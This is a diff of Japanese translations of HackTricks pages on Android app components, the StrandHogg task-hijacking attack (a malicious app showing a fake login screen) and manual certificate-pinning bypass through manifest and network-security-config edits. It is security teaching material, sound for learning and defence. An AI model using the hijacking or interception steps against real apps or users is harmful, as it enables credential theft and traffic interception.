<activity android:name=".LauncherActivity"> <activity android:name=".LauncherActivity">
<intent-filter> <intent-filter>
@ -264,21 +264,21 @@ Android アプリでは、**アクティビティ** は画面のようなもの
</intent-filter> </intent-filter>
</activity> </activity>
``` ```
## Androidアプリケーションの基礎 ## Android Applications Basics
いくつかのアプリケーションは、バックグラウンドサービスのようにユーザーインターフェースを持たないため、ランチャーアクティビティを必要としません いくつかのアプリは、バックグラウンドサービスのようにユーザーインターフェースを持たないものを含め、ランチャーアクティビティが必要ないものもあります
アクティビティは、マニフェストで「exported」とマークすることで、他のアプリケーションやプロセスで利用可能にすることができます。この設定により、他のアプリケーションがこのアクティビティを起動できるようになります。 アクティビティは、マニフェストで「exported」とマークすることで、他のアプリやプロセスで利用可能にすることができます。この設定により、他のアプリがこのアクティビティを起動できるようになります。
```markdown ```markdown
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
しかし、別のアプリからアクティビティにアクセスすることは常にセキュリティリスクとは限りません。懸念されるのは、機密データが適切に共有されていない場合であり、これにより情報漏洩が発生する可能性があります。 しかし、別のアプリからアクティビティにアクセスすることが常にセキュリティリスクとは限りません。懸念が生じるのは、機密データが適切に共有されていない場合であり、情報漏洩につながる可能性があります。
アクティビティのライフサイクルは、**`onCreate`メソッド**で始まり、UIの設定とアクティビティのユーザーとのやり取りの準備を行います。 アクティビティのライフサイクルは、**`onCreate`** メソッドで始まり、UIの設定とアクティビティのユーザーとのやり取りの準備を行います。
### アプリケーションのサブクラス ### アプリケーションのサブクラス
Android開発では、アプリは[Application](https://developer.android.com/reference/android/app/Application)クラスの**サブクラス**を作成するオプションがありますが、これは必須ではありません。このようなサブクラスが定義されている場合、そのサブクラスがアプリ内で最初にインスタンス化されます。このサブクラスで実装されている場合、**`attachBaseContext`**メソッドは**`onCreate`**メソッドの前に実行されます。このセットアップにより、アプリケーションの残りの部分が開始される前に初期化を行うことができます。 Android開発では、アプリは[Application](https://developer.android.com/reference/android/app/Application)クラスの**サブクラス**を作成するオプションがありますが、これは必須ではありません。このようなサブクラスが定義されている場合、そのサブクラスがアプリ内で最初にインスタンス化されます。このサブクラスで実装されている場合、**`attachBaseContext`** メソッドは **`onCreate`** メソッドの前に実行されます。このセットアップにより、アプリケーションの残りの部分が開始される前に初期化を行うことができます。
```java ```java
public class MyApp extends Application { public class MyApp extends Application {
@Override @Override
@ -298,31 +298,31 @@ super.onCreate();
[サービス](https://developer.android.com/guide/components/services)はユーザーインターフェースなしでタスクを実行できる**バックグラウンドオペレータ**です。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても継続して実行されるため、サービスは**長時間実行される操作**にとって重要です。 [サービス](https://developer.android.com/guide/components/services)はユーザーインターフェースなしでタスクを実行できる**バックグラウンドオペレータ**です。これらのタスクは、ユーザーが異なるアプリケーションに切り替えても継続して実行されるため、サービスは**長時間実行される操作**にとって重要です。
サービスは多目的であり、さまざまな方法で開始できます。**インテント**は、サービスを起動するための主要な方法であり、アプリケーションのエントリーポイントとして機能します。サービスを`startService`メソッドを使用して開始すると、その`onStart`メソッドが実行され、`stopService`メソッドが明示的に呼び出されるまで実行を継続します。また、サービスの役割がアクティブなクライアント接続に依存する場合、`bindService`メソッドを使用してクライアントをサービスにバインドし、データの受け渡しに`onBind`メソッドを使用します。 サービスは多目的であり、さまざまな方法で開始できます。**インテント**は、サービスを起動するための主要な方法であり、アプリケーションのエントリーポイントとして機能します。サービスを`startService`メソッドを使用して開始すると、その`onStart`メソッドが実行され、`stopService`メソッドが明示的に呼び出されるまで実行を維持します。また、サービスの役割がアクティブなクライアント接続に依存する場合、`bindService`メソッドを使用してクライアントをサービスにバインドし、データの受け渡しに`onBind`メソッドを使用します。
サービスの興味深い応用例には、アプリとの相互作用を妨げることなく、バックグラウンドで音楽を再生したりネットワークデータを取得したりすることが含まれます。さらに、サービスは**エクスポート**を介して同じデバイス上の他のプロセスからアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的に構成する必要があります サービスの興味深い応用例には、アプリとのやり取りを妨げることなく、バックグラウンドで音楽を再生したりネットワークデータを取得したりすることが含まれます。さらに、サービスは**エクスポート**を介して同じデバイス上の他のプロセスからアクセス可能にすることができます。これはデフォルトの動作ではなく、Android Manifestファイルで明示的に構成する必要があります
```xml ```xml
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
### ブロードキャストレシーバ ### ブロードキャストレシーバ
**ブロードキャストレシーバ**は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは、**マニフェスト**を介してまたはアプリのコード内で**`registerReceiver`** APIを使用して、**2つの主要な方法**で**レシーバを登録**できます。マニフェストでは、ブロードキャストは権限でフィルタリングされますが、動的に登録されたレシーバは登録時に権限を指定することもできます。 **ブロードキャストレシーバ**は、メッセージングシステムにおけるリスナーとして機能し、複数のアプリケーションがシステムからの同じメッセージに応答できるようにします。アプリは、**マニフェスト**を介してまたはアプリのコード内で **`registerReceiver`** API を使用して、**2つの主要な方法**で **レシーバを登録**できます。マニフェストでは、ブロードキャストは権限でフィルタリングされますが、動的に登録されたレシーバは登録時に権限を指定することもできます。
**インテントフィルタ**は、登録方法に関係なく重要であり、どのブロードキャストがレシーバをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバの**`onReceive`**メソッドが呼び出され、アプリは適切に反応することができます。たとえば、低バッテリーアラートに応答して動作を調整することができます。 **インテントフィルタ**は、登録方法に関係なく重要であり、どのブロードキャストがレシーバをトリガーするかを決定します。一致するブロードキャストが送信されると、レシーバの **`onReceive`** メソッドが呼び出され、アプリは低電池アラートに応じて動作を調整するなど、適切に反応することができます。
ブロードキャストは、**非同期**であり、順不同ですべてのレシーバに到達するか、**同期**であり、優先順位に基づいてブロードキャストを受信するかのいずれかです。ただし、どのアプリも自分自身を優先してブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。 ブロードキャストは、**非同期**であり、順不同ですべてのレシーバに到達するか、**同期**であり、優先順位に基づいてブロードキャストを受信するかのいずれかです。ただし、どのアプリも自身を優先してブロードキャストを傍受できる可能性があるため、潜在的なセキュリティリスクに注意することが重要です。
レシーバの機能を理解するには、そのクラス内の**`onReceive`**メソッドを探します。このメソッドのコードは受信したインテントを操作でき、特に**順序付けられたブロードキャスト**では、レシーバによってインテントが変更または破棄される可能性があるため、レシーバによるデータの検証が重要です。 レシーバの機能を理解するには、そのクラス内の **`onReceive`** メソッドを探します。このメソッドのコードは受信したインテントを操作でき、特に **順序付けられたブロードキャスト**では、インテントを変更したり破棄したりする必要があるため、レシーバによるデータの検証が重要です。
### コンテンツプロバイダ ### コンテンツプロバイダ
**コンテンツプロバイダ**は、アプリケーション間で**構造化されたデータを共有**するために不可欠であり、データセキュリティを確保するために**権限の実装**の重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。**`readPermission`**や**`writePermission`**などの特定の権限は、アクセスを制御するために重要です。また、一時的なアクセスは、アプリのマニフェストで**`grantUriPermission`**設定を介して付与でき、`path`、`pathPrefix`、`pathPattern`などの属性を活用して詳細なアクセス制御を行うことができます。 **コンテンツプロバイダ**は、アプリケーション間で **構造化されたデータを共有**するために不可欠であり、データセキュリティを確保するために **権限の実装**の重要性を強調しています。これにより、アプリはデータベース、ファイルシステム、またはウェブなど、さまざまなソースからデータにアクセスできます。`readPermission` および `writePermission` のような特定の権限は、アクセスを制御するために重要です。さらに、一時的なアクセスは、アプリのマニフェストで **`grantUriPermission`** 設定を介して付与でき、`path`、`pathPrefix`、`pathPattern` などの属性を活用して詳細なアクセス制御を行うことができます。
脆弱性SQLインジェクションなどを防ぐために、入力検証は非常に重要です。コンテンツプロバイダは、`insert()`、`update()`、`delete()`、`query()`などの基本操作をサポートし、データの操作とアプリケーション間での共有を容易にします。 脆弱性SQLインジェクションなどを防ぐために、入力検証が極めて重要です。コンテンツプロバイダは、`insert()`、`update()`、`delete()`、`query()` などの基本操作をサポートし、データの操作とアプリケーション間での共有を容易にします。
**FileProvider**は、ファイルを安全に共有することに焦点を当てた特殊なコンテンツプロバイダです。フォルダへのアクセスを制御するための特定の属性でアプリのマニフェストで定義され、`android:exported`や`android:resource`などの属性を利用してフォルダ構成を指定します。機密データが誤って公開されるのを避けるために、ディレクトリを共有する際には注意が必要です。 **FileProvider** は、ファイルを安全に共有することに焦点を当てた特殊なコンテンツプロバイダです。フォルダへのアクセスを制御するための特定の属性を持つアプリのマニフェストで定義され、`android:exported` および `android:resource` がフォルダ構成を指すようになっています。機密データが誤って公開されるのを避けるために、ディレクトリを共有する際には注意が必要です。
FileProviderの例示的なマニフェスト宣言 FileProvider の例示的なマニフェスト宣言:
```xml ```xml
<provider android:name="androidx.core.content.FileProvider" <provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider" android:authorities="com.example.myapp.fileprovider"
@ -332,7 +332,7 @@ android:exported="false">
android:resource="@xml/filepaths" /> android:resource="@xml/filepaths" />
</provider> </provider>
``` ```
そして、`filepaths.xml` で共有フォルダを指定する例: そして、`filepaths.xml` で共有フォルダを指定する例:
```xml ```xml
<paths> <paths>
<files-path path="images/" name="myimages" /> <files-path path="images/" name="myimages" />
@ -343,37 +343,37 @@ android:resource="@xml/filepaths" />
## WebViews ## WebViews
WebViews are like **mini web browsers** inside Android apps, pulling content either from the web or from local files. They face similar risks as regular browsers, yet there are ways to **reduce these risks** through specific **settings**. WebViewsはAndroidアプリ内でWebコンテンツを取得する**ミニウェブブラウザ**のようなものです。Webからまたはローカルファイルからコンテンツを取得します。通常のブラウザと同様のリスクに直面しますが、特定の**設定**を通じてこれらのリスクを**軽減**する方法があります。
Android offers two main WebView types: Androidには2つの主要なWebViewタイプがあります
- **WebViewClient** is great for basic HTML but doesn't support the JavaScript alert function, affecting how XSS attacks can be tested. - **WebViewClient**は基本的なHTMLに適していますが、JavaScriptのalert関数をサポートしておらず、XSS攻撃のテスト方法に影響を与えます。
- **WebChromeClient** acts more like the full Chrome browser experience. - **WebChromeClient**は完全なChromeブラウザのエクスペリエンスに近い動作をします。
A key point is that WebView browsers do **not share cookies** with the device's main browser. 重要なポイントは、WebViewブラウザはデバイスのメインブラウザと**クッキーを共有しない**ことです。
For loading content, methods such as ````loadUrl````, ````loadData````, and ````loadDataWithBaseURL```` are available. It's crucial to ensure these URLs or files are **safe to use**. Security settings can be managed via the ````WebSettings```` class. For instance, disabling JavaScript with ````setJavaScriptEnabled(false)```` can prevent XSS attacks. コンテンツの読み込みには、````loadUrl````, ````loadData````, ````loadDataWithBaseURL````などのメソッドが利用できます。これらのURLやファイルが**安全に使用される**ことを確認することが重要です。セキュリティ設定は````WebSettings````クラスを介して管理できます。たとえば、````setJavaScriptEnabled(false)````でJavaScriptを無効にすると、XSS攻撃を防ぐことができます。
The JavaScript "Bridge" lets Java objects interact with JavaScript, requiring methods to be marked with ````@JavascriptInterface```` for security from Android 4.2 onwards. JavaScriptの「Bridge」を使用すると、JavaオブジェクトがJavaScriptとやり取りでき、セキュリティを確保するためにAndroid 4.2以降ではメソッドに````@JavascriptInterface````を付ける必要があります。
Allowing content access (````setAllowContentAccess(true)````) lets WebViews reach Content Providers, which could be a risk unless the content URLs are verified as secure. コンテンツアクセスを許可する(````setAllowContentAccess(true)````と、WebViewsがContent Providersにアクセスできるようになりますが、コンテンツのURLが安全であることが確認されていない限り、リスクが生じる可能性があります。
To control file access: ファイルアクセスを制御するには:
- Disabling file access (````setAllowFileAccess(false)````) limits access to the filesystem, with exceptions for certain assets, ensuring they're only used for non-sensitive content. - ファイルアクセスを無効にする(````setAllowFileAccess(false)````)と、ファイルシステムへのアクセスが制限され、特定のアセットには例外があり、それらが機密性の高いコンテンツにのみ使用されることが保証されます。
## Other App Components and Mobile Device Management ## その他のアプリコンポーネントとモバイルデバイス管理
### **Digital Signing of Applications** ### **アプリケーションのデジタル署名**
- **Digital signing** is a must for Android apps, ensuring they're **authentically authored** before installation. This process uses a certificate for app identification and must be verified by the device's package manager upon installation. Apps can be **self-signed or certified by an external CA**, safeguarding against unauthorized access and ensuring the app remains untampered during its delivery to the device. - Androidアプリには**デジタル署名**が必要で、インストール前に**正当に作成された**ことを保証します。このプロセスではアプリ識別のために証明書が使用され、インストール時にデバイスのパッケージマネージャによって検証される必要があります。アプリは**自己署名されるか外部CAによって認証**され、未承認のアクセスから保護され、配信中にアプリが改ざんされないようにします。
### **App Verification for Enhanced Security** ### **セキュリティ強化のためのアプリ検証**
- Starting from **Android 4.2**, a feature called **Verify Apps** allows users to have apps checked for safety before installation. This **verification process** can warn users against potentially harmful apps, or even prevent the installation of particularly malicious ones, enhancing user security. - **Android 4.2**から、**Verify Apps**という機能があり、ユーザーがインストール前にアプリの安全性をチェックできます。この**検証プロセス**により、ユーザーに潜在的に有害なアプリについて警告したり、特に悪意のあるアプリのインストールを防止したりすることができ、ユーザーセキュリティが向上します。
### **Mobile Device Management (MDM)** ### **モバイルデバイス管理MDM**
- **MDM solutions** provide **oversight and security** for mobile devices through **Device Administration API**. They necessitate the installation of an Android app to manage and secure mobile devices effectively. Key functions include **enforcing password policies**, **mandating storage encryption**, and **permitting remote data wipe**, ensuring comprehensive control and security over mobile devices. - **MDMソリューション**は**デバイス管理API**を介してモバイルデバイスの**監視とセキュリティ**を提供します。モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールが必要です。主な機能には**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティが確保されます。
```java ```java
// Example of enforcing a password policy with MDM // Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -386,7 +386,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
``` ```
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -396,10 +396,10 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**します。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details> </details>

View file

@ -6,9 +6,9 @@
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝する**か**HackTricksをPDFでダウンロード**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝する**か**HackTricksをPDFでダウンロード**する場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
@ -16,7 +16,7 @@ HackTricks をサポートする他の方法:
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks をサポートする他の方法:
## タスク、バックスタック、フォアグラウンドアクティビティ ## タスク、バックスタック、フォアグラウンドアクティビティ
Android では、**タスク**は特定のジョブを完了するためにユーザーが対話するアクティビティのセットであり、**バックスタック**内に整理されます。このスタックはアクティビティを開いた時点に基づいてアクティビティを順序付け、最新のアクティビティが**フォアグラウンドアクティビティ**としてトップに表示されます。いつでも画面上にはこのアクティビティのみが表示されており、これが**フォアグラウンドタスク**の一部す。 Android では、**タスク**は特定のジョブを完了するためにユーザーが対話するアクティビティのセットであり、**バックスタック**内に整理されます。このスタックはアクティビティを開いた順に並べ、最新のアクティビティが**フォアグラウンドアクティビティ**としてトップに表示されます。いつでも画面上にはこのアクティビティのみが表示され、これが**フォアグラウンドタスク**の一部となります。
以下はアクティビティの遷移の簡単な説明です: 以下はアクティビティの遷移の簡単な説明です:
@ -48,14 +48,14 @@ Android アプリケーションでは、**タスクアフィニティ**はア
### 詳細な攻撃手順 ### 詳細な攻撃手順
1. **悪意のあるアプリのインストール**: 被害者が自分のデバイスに攻撃者のアプリをインストールします。 1. **悪意のあるアプリのインストール**: 被害者が自分のデバイスに攻撃者のアプリをインストールします。
2. **初期アクティベーション**: 被害者は最初に悪意のあるアプリを開き、攻撃のためにデバイスをセットアップします。 2. **初期起動**: 被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。
3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。 3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。
4. **ハイジャックの実行**: タスクアフィニティが一致するため、ターゲットアプリの代わりに悪意のあるアプリが起動されます。 4. **ハイジャックの実行**: タスクアフィニティが一致するため、ターゲットアプリの代わりに悪意のあるアプリが起動ます。
5. **欺瞞**: 悪意のあるアプリは、ターゲットアプリに似た偽のログイン画面を表示し、ユーザーを機密情報を入力させるようにだまします。 5. **欺瞞**: 悪意のあるアプリは、ターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。
この攻撃の実践的な実装については、GitHub の Task Hijacking Strandhogg リポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。 この攻撃の実践的な実装については、GitHub の Task Hijacking Strandhogg リポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。
### 予防措置 ### 防止策
このような攻撃を防ぐために、開発者は`taskAffinity`を空の文字列に設定し、`singleInstance`起動モードを選択することで、自分のアプリを他のアプリから分離することができます。`onBackPressed()` 関数をカスタマイズすることで、タスクハイジャッキングに対する追加の保護を提供できます。 このような攻撃を防ぐために、開発者は`taskAffinity`を空の文字列に設定し、`singleInstance`起動モードを選択することで、自分のアプリを他のアプリから分離することができます。`onBackPressed()` 関数をカスタマイズすることで、タスクハイジャッキングに対する追加の保護を提供できます。
@ -66,7 +66,7 @@ Android アプリケーションでは、**タスクアフィニティ**はア
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -76,9 +76,9 @@ Android アプリケーションでは、**タスクアフィニティ**はア
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝する**か**HackTricksをPDFでダウンロード**するには、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝する**か**HackTricksをPDFでダウンロード**する場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**

View file

@ -2,19 +2,19 @@
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** - **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks をサポートする他の方法:
# Automatic # Automatic
ツール [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) は、リクエストをキャプチャし始めるために必要な変更をアプリケーションに自動的に行い、証明書ピニングも無効にします(あれば)。 ツール [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) は、必要な変更をアプリケーションに自動的に行い、リクエストのキャプチャを開始し、証明書ピニングも無効にします(あれば)。
# Manual # Manual
@ -32,7 +32,7 @@ HackTricks をサポートする他の方法:
![](../../.gitbook/assets/img9.png) ![](../../.gitbook/assets/img9.png)
次に、**Manifest.xml**ファイルに移動し、`<\application android>`タグまでスクロールして、次の行を追加します(すでに存在しない場合): 次に、**Manifest.xml**ファイルに移動し、`<\application android>`タグまでスクロールして、次の行を追加します(まだ存在しない場合):
`android:networkSecurityConfig="@xml/network_security_config` `android:networkSecurityConfig="@xml/network_security_config`
@ -44,7 +44,7 @@ HackTricks をサポートする他の方法:
![](../../.gitbook/assets/img11.png) ![](../../.gitbook/assets/img11.png)
次に、**res/xml**フォルダに移動し、次の内容でnetwork\_security\_config.xmlというファイルを作成/変更します: 次に、**res/xml**フォルダに移動し、次の内容で network\_security\_config.xml というファイルを作成/変更します:
```markup ```markup
<network-security-config> <network-security-config>
<base-config> <base-config>
@ -67,18 +67,18 @@ HackTricks をサポートする他の方法:
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学びましょう</strong>!</summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学びましょう</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -5,16 +5,16 @@
